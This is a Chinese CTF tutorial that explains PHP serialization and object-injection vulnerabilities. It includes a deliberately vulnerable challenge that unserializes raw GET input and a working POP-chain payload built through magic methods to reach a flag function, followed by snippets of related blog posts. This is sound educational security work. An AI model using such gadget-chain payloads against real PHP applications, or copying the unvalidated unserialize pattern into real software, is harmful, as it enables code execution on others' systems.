代码编织梦想

本帖最后由 icq_8bf67fe65 于 2018-9-2 21:20 编辑

本文原创作者:Versi0n,本文属i春秋原创奖励计划,未经许可禁止转载!

一、前言

在ctf比赛中,经常会遇到php反序列化漏洞的题,今天就来简单分析下该漏洞的正确食用姿势~

二、正文

1.基础知识PHP序列化:php为了方便进行数据的传输,允许把复杂的数据结构,压缩到一个字符串中,使用serialize()函数。

PHP反序列化:将被压缩为字符串的复杂数据结构,重新恢复,使用unserialize()函数。

PHP反序列化漏洞:也叫PHP对象注入,php有许多魔术方法(所谓魔术方法,就是系统在特定时刻自动调用的方法),如果代码中使用了反序列化unserialize()函数,并且参数可控,且程序没有对用户输入的反序列化字符串进行校验,那么可以通过注入参数来达到想要实现的目的。

PHP序列化漏洞常用的魔术方法:

__construct():当一个类被创建时自动调用__destruct():当一个类被销毁时自动调用

__invoke():当把一个类当作函数使用时自动调用

__tostring():当把一个类当作字符串使用时自动调用

__wakeup():当调用unserialize()函数时自动调用

__sleep():当调用serialize()函数时自动调用

__call():当要调用的方法不存在或权限不足时自动调用2.实例

(1)序列化数组

将php数组转化为序列化字符串:

源码:[PHP] 纯文本查看 复制代码<?php

$arr=array('name'=>'cat','age'=>2); #构造一个数组arr,包含属性name和age

var_dump($arr); #输出显示数组

echo ("
");

$info=serialize($arr); #输出显示序列化后的数组

echo($info);

?>

运行结果:

8f3ff2fbfdd7c7c8339951a6542705fa.gif

图片1.png (20.73 KB, 下载次数: 28)

2018-9-2 18:46 上传

序列化数组字符串格式如下:

a:size:{key1;value1;key2,value2...}

a代表类别是数组,size表示数组属性个数,{ }里是按键值对格式存储的数组内容其中,s是string类型,i是int类型,s后面的数字是其长度,i后面的是其数值

(2)序列化对象将php对象序列化为数组:源码:[PHP] 纯文本查看 复制代码<?php

class Person #Person类,包含name和age属性

{

public $name = "cat";

public $age = 2;

}

$b=new Person(); #创建Person对象$b,赋值

$b->name = 'dog';

$b->age = 3;

echo (serialize($b))."
" #输出显示序列化后的对象

?>

运行结果:

8f3ff2fbfdd7c7c8339951a6542705fa.gif

图片2.png (18.21 KB, 下载次数: 27)

2018-9-2 18:46 上传

序列化对象字符串格式如下:

O :strlen(object name):name:size:{key1;value1;key2;value2;...}

O代表类别是对象,strlen(object name)表示对象名长度,后面是对象名和属性个数{ }里是按键值对格式存储的数组内容,其中,s是string类型,i是int类型,s后面的数字是其长度,i后面的是其数值

(3)反序列化对象

将序列化对象字符串恢复:

源码:

[PHP] 纯文本查看 复制代码<?php

class Person

{

public $name = "cat";

public $age = 2;

}

$b=new Person();

$b->name = 'dog';

$b->age = 3;

$a = serialize($b);

echo ($a)."
";

var_dump (unserialize($a));

?>

运行结果:

8f3ff2fbfdd7c7c8339951a6542705fa.gif

图片3.png (22.88 KB, 下载次数: 29)

2018-9-2 18:46 上传

3.例题

由一道ctf赛题来实际分析一波:

源码:

[PHP] 纯文本查看 复制代码<?php

class start_gg

{

public $mod1;

public $mod2;

public function __destruct()

{

$this->mod1->test1();

}

}

class Call

{

public $mod1;

public $mod2;

public function test1()

{

$this->mod1->test2();

}

}

class funct

{

public $mod1;

public $mod2;

public function __call($test2,$arr)

{

$s1 = $this->mod1;

$s1();

}

}

class func

{

public $mod1;

public $mod2;

public function __invoke()

{

$this->mod2 = "字符串拼接".$this->mod1;

}

}

class string1

{

public $str1;

public $str2;

public function __toString()

{

$this->str1->get_flag();

return "1";

}

}

class GetFlag

{

public function get_flag()

{

echo "flag:"."xxxxxxxxxxxx";

}

}

$a = $_GET['string'];

unserialize($a);

?>

思路分析:

看到了unserialize()函数,自然联想到php反序列化漏洞。

(1)想得到flag,就需要调用GetFlag类里的get_flag()方法。

(2)在上面的类里查找,在string1中发现了get_flag()方法被调用,但却是参数$str1的方法,所以需要把$str1赋值为GetFlag类的对象,这样才可以调用它。又因为get_flag()方法在魔术方法__toString()方法里,所以需要把类string1当成字符串来使用,得以自动调用__toString()方法。

(3)要把类string1当成字符串使用,在类 func()中发现字符串拼接,所以需要把$mod1赋值为string1类的对象;又因为字符串拼接在__invoke()方法中,所以需要把func类当成函数使用来自动调用 __invoke()方法。

(4)继续查找,在funct中找到了函数调用,需要把mod1赋值为func类的对象,又因为函数调用在 __call方法中,且参数为$test2,即无法调用test2方法时自动调用 __call方法;向上,在Call类的test1方法中看到了调用test2方法,是$mod1的方法,只需要把$mod1赋值为funct类的对象,即可自动调用__call方法。

(5)查找test1方法的调用,在start_gg类中看到调用,为$mod1的方法,在start_gg类的__destruct()方法,只需要把$mod1赋值为start_gg类的对象,即可自动调用__destruct()方法。

(6)构造payload,如下:

Payload:

[PHP] 纯文本查看 复制代码<?php

class start_gg

{

public $mod1;

public $mod2;

public function __construct() #把$mod1赋值为Call类对象

{

$this->mod1 = new Call();

}

public function __destruct()

{

$this->mod1->test1();

}

}

class Call

{

public $mod1;

public $mod2;

public function __construct() #把 $mod1赋值为funct类对象

{

$this->mod1 = new funct();

}

public function test1()

{

$this->mod1->test2();

}

}

class funct

{

public $mod1;

public $mod2;

public function __construct() #把 $mod1赋值为func类对象

{

$this->mod1= new func();

}

public function __call($test2,$arr)

{

$s1 = $this->mod1;

$s1();

}

}

class func

{

public $mod1;

public $mod2;

public function __construct() #把 $mod1赋值为string1类对象

{

$this->mod1= new string1();

}

public function __invoke()

{

$this->mod2 = "字符串拼接".$this->mod1;

}

}

class string1

{

public $str1;

public function __construct() #把 $str1赋值为GetFlag类对象

{

$this->str1= new GetFlag();

}

public function __toString()

{

$this->str1->get_flag();

return "1";

}

}

class GetFlag

{

public function get_flag()

{

echo "flag:"."xxxxxxxxxxxx";

}

}

$b = new start_gg; #构造start_gg类对象$b

echo urlencode(serialize($b))."
"; #显示输出url编码后的序列化对象

成功输出flag:

8f3ff2fbfdd7c7c8339951a6542705fa.gif

图片4.png (25.45 KB, 下载次数: 32)

2018-9-2 19:17 上传

小结:ctf中php序列化问题,首先需要找到目标函数,然后由此向前逆推,利用各个类的魔术方法,最终实现目标函数的调用。

三、小结

一般来说,只有在白盒审计时才能从代码中发现php反序列化漏洞,而利用该漏洞也需要构造php序列化代码,利用条件比较苛刻。但当反序列化漏洞被恶意使用时,就可能造成代码执行、getshell等严重后果。所以在编程时,需要注意魔术方法的使用,以及反序列化参数的输入过滤问题,避免该漏洞的产生。

~END

从一道ctf题学习php反序列化漏洞_fly_鹏程万里的博客-爱代码爱编程

一、CTF题目 前阵子,参加了一个CTF比赛,其中有一条道题蛮有意思的,所以写出来分享一下。 此题利用了PHP的反序列化漏洞,通过构造特殊的Payload绕过__wakeup()魔术方法,从而实现注入目的,废话不多说,主要源码如下: class SoFun{ protected $file='index.php'; functi

ctf——web——php序列化和反序列化_captain hammer的博客-爱代码爱编程

PHP 序列化和反序列化: 1,序列化(串行化):是将变量转换为可保存或传输的字符串的过程; 反序列化(反串行化):就是在适当的时候把这个字符串再转化成原来的变量使用。 这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性。 常见的php系列化和反系列化方式主要有:serialize,unserialize;json_encode,jso

php反序列化漏洞总结_无在无不在的博客-爱代码爱编程_php反序列化漏洞

目录 0x00 为什么需要序列化和反序列化? 0x01 相关函数 0x02 相关魔术方法: 0x03 反序列化漏洞例题 0x04 序列化的一些注意点: 0x05 PHP Bug 72663 0x06 PHP BUG 71101 0x07 Phar 反序列化 其他例题: 0x00 为什么需要序列化和反序列化? 分布式架构的项目,往往具

php序列化与反序列化+ctf题目-爱代码爱编程

现在在ctf比赛中PHP的反序列题目出得有一些多,当然,是我感觉的 emmm 之前没有怎么好好去了解这个问题 碰到这类题目的时候都是代码好的同学在做 然后这段时间看了一下这些东西 就写一些东西吧 自己的想法 ——————————————————————————分割线———————————————————————————— 首先 什么是序列化  在ph

谈一谈php反序列化_lethesec的博客-爱代码爱编程

0x01 基础知识 PHP序列化:php为了方便进行数据的传输,允许把复杂的数据结构,压缩到一个字符串中,使用serialize()函数。 PHP反序列化:将被压缩为字符串的复杂数据结构,重新恢复,使用unserial

php反序列化漏洞小结 + bytectf-ezcms-wp_|) |(7|3的博客-爱代码爱编程

php反序列化漏洞利用姿势 源码中存在unserialize函数(最常见场景) 审计步骤 寻找如下可能被利用的敏感函数: call_user_func array_map array_filter array_w

浅谈php反序列化漏洞原理_r0ckysec的博客-爱代码爱编程

序列化与反序列化 序列化用途:方便于对象在网络中的传输和存储 0x01 php反序列化漏洞 在PHP应用中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。 常见的序列化格式: 二进制格式

PHP反序列化漏洞-CTF实例-爱代码爱编程

PHP反序列化漏洞-CTF PHP反序列化漏洞-FIRST PHP反序列化漏洞-SECOND 1.CTF实例 CTF实例源码:strchr() 函数: 搜索字符串在另一字符串中的第一次出现,返回字符串的其余部分(从匹配点)。如果未找到所搜索的字符串,则返回 FALSE。dirname(__FILE__)函数:表示当前文件绝对路径 //10.php

SWPUCTF web 部分题解-爱代码爱编程

0x01 web1 easyweb 随便注册个账号登陆后,测试发现留言处的title字段存在二次注入 有报错和回显,但是报错过滤了extractvalue和updatexml 考虑使用union,但是过滤了or,不能使用information_schema 对于mysql>5.7的版本,有sys数据库,前提是root权限才能访问 innodb_i

BUUCTF__[ZJCTF 2019]NiZhuanSiWei_题解-爱代码爱编程

前言 又是一天。读题 打开题目,直接给源码 <?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&(file_get_contents($text,'r')==="welcome t

ctf中的php序列化与反序列化-爱代码爱编程

ctf中的php序列化与反序列化 刚开始学的php序列化与反序列化,有点雨里雾里的,于是做个笔记~~ 首先我们来了解一下概念知道他是怎么样的一个东西: 序列化(串行化):是将变量转换为可保存或传输的字符串的过程; 反序列化(反串行化):就是在适当的时候把这个字符串再转化成原来的变量使用。 这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性

ctfshow————反序列化-爱代码爱编程

web254-普通的get传参 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-02 17:44:47 # @Last Modified by: h1xa # @Last Modified time: 2020-12-02 19:29:02 # @emai

PHP反序列化漏洞&网鼎杯ctf实例-爱代码爱编程

漏洞简介 php反序列化漏洞,又叫php对象注入漏洞。 简单来讲,就是在php反序列化的时候,反序列化的内容是用户可控,那么恶意用户就可以构造特定序列化内容的代码,通过unserialize()函数进行特定的反序列化操作,并且程序的某处存在一些敏感操作是写在类中的,那么就可以通过这段恶意代码,达到执行攻击者想要的操作。 漏洞形成原因

BUU-ZJCTF-php反序列化+伪协议-爱代码爱编程

文章目录 NiZhuanSiWei NiZhuanSiWei 打开环境,看到代码 <?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&(file_get_content

ctfshow反序列化-爱代码爱编程

web254 <?php ​ /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date:   2020-12-02 17:44:47 # @Last Modified by:   h1xa # @Last Modified time: 2020-12-02 19:29:02 # @email: h1xa@

ctfshow-web入门-反序列化(前篇)-爱代码爱编程

目录 web254 web255 web256 web257 web258 web259 web260 web261 web262 web263 web264 web265 web266 web267 web254 <?php ​ /* # -*- coding: utf-8 -*- # @Author: h1xa #